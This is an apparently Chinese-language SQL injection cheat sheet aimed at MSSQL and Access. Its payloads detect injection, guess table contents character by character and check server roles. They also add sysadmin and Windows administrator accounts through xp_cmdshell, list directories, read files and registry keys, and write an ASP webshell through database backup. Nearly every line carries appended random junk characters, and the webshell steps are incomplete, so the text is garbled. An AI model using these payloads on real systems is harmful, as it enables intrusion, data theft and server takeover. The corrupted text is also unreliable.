1.判断是否有注入;and 1=1 ;and 1=2 p}q27<O*/
2.初步判断是否是mssql ;and user>0 8K+(CS>xvO
ldp
x,
3.注入参数是字符'and [查询条件] and ''=' <xM$^r)
DfYOGs]@
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 3ARvSz@5
Gk_%WY*
5.判断数据库系统 Z]?Tx2|7
N(i%Oxp1
;and (select count(*) from sysobjects)>0 mssql .Zo%6[X
\:]
;and (select count(*) from msysobjects)>0 access x{K^u"
hojP3 [
]xGo[:k|E
5ncjv@Aa
6.猜数据库 ;and (select Count(*) from [数据库名])>0 *+(t2!yFmE
.OhpItn
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 m 2c>RCq
@1+C*
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 :QKxpHi
t~5m[C[`w
9.(1)猜字段的ascii值(access) +m?;,JGt
&\<!{Y<'
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 MJ5Ymt a
FY;\1bt<<
(2)猜字段的ascii值(mssql) #yNSQd
k3[rO}>s
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 u.v
5!G
_N8Tu~lqV
10.测试权限结构(mssql) *R9s0;&:
G!]%xFwYa
,RmXZnWY
h>Z NPP8N
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- Oi#4|*b{W
]vj.s/F~
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 758`lfz=_
nW)-bAV<
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- =^liong0
lMkDLobos
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- .CJQ]ECl7p
Xae0xs
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- d)@Hx8
'ec G:B`S
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- (!b_o A8V
UI:YzR
;and 1=(select IS_MEMBER('db_owner'));-- SZUhZIz&
\YUl$d0
)m8ve)l
8CXZ7 p
11.添加mssql和系统的帐户 B$A`thQp
R-7.q
;exec master.dbo.sp_addlogin username;-- $db]b
;exec master.dbo.sp_password null,username,password;-- 1D2Uomd(
{u !Q=D$3
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- L'i0|_
eAqSY s!1
;exec master.dbo.xp_cmdshell 'net user username password E}Ir<\
X;2I'
Kg
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- Za,MzKd=
@8keLrp
;exec master.dbo.xp_cmdshell 'net user username password /add';-- !LGnh
ku2gFO
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- s|40v@M
|W't-}yf
}iGpuoXT`
$qz(9M(m#
12.(1)遍历目录 -dRnozs6W
"n<rP 3y
;create table dirs(paths varchar(100), id int) 7JC^+rk
c}XuzgSY
;insert dirs exec master.dbo.xp_dirtree 'c:\' 2bJqZ,@
^O>G?a
;and (select top 1 paths from dirs)>0 Th!.=S{Y5
T6/d[SH>
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) T >pz/7gb
( I<]@7>
f/1soGA
z-9@K<`H
(2)遍历目录 *[
' n8Z
i4sd29v
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- D8S?xK 7[
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 @.rVg XE=!
^oZz,q
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ~*R:UTBtw
s,5SWdb\v
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 (~59}lu~
Vgh;w-a
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 OO7sj@
7!-3jU@m
kzky{0yKk=
Fe: M'.
13.mssql中的存储过程 Cx
N]fo
2/*F}w/
xp_regenumvalues 注册表根键, 子键 #9R[%R7Nz
!@6P>HzY$
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 XsH(8-n0
JpI(Vcd
xp_regread 根键,子键,键值名 `zRE $O
/mdPYV
;exec xp_regread jCJbmEfo9@
<5Ye')+
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 }JP0q
] ^f7s36
xp_regwrite 根键,子键, 值名, 值类型, 值 8|-j]
oK-T@ &-
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 MU
}<-1
ywSV4ZtM
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 E$u9Jbe
';'TCb{f *
xp_regdeletevalue 根键,子键,值名 K;n2mXYGM
D]n"`< Ho
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 =)h<" 2
z XI [f
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 >"OwdAvX
1q?b?.
;8|D4+
sl5y1W/]]
14.mssql的backup创建webshell FJ/>=2^B
Z$UPLg3=;_
use model bCV3h3<
TO(2n8'fdO
create table cmd(str image); MC
8t"SB
5}
v(Ks>
insert into cmd(str) values (''); 'ycr/E&m{
>e
g8zN
backup database model to disk='c:\l.asp'; ?&ow:OH+
G,{=sFX
OpNTyKbaD
S":55YQev!
15.mssql内置函数 #!A'6SgbkM
qw#wZ'<n
;and (select @@version)>0 获得Windows的版本号 <yoCW?#
FW~{io]n
;and user_name()='dbo' 判断当前系统的连接用户是不是sa .Mn_T*F
z~O#0Q!
;and (select user_name())>0 爆当前系统的连接用户 v?s]up @@h
>A]U.C
;and (select db_name())>0 得到当前连接的数据库
A?YU:f
3`Ug]<m
Y)Os]<N1
h20<X;
16.简洁的webshell }\iH ~T6
!=)R+g6b
use model $uPM.mPFE
g':/hlQ
create table cmd(str image); (f-Mm0%[
`:aml+
insert into cmd(str) values (''); ^R g=*L
^|b ]E
backup database model to disk='g:\wwwtest\l.asp';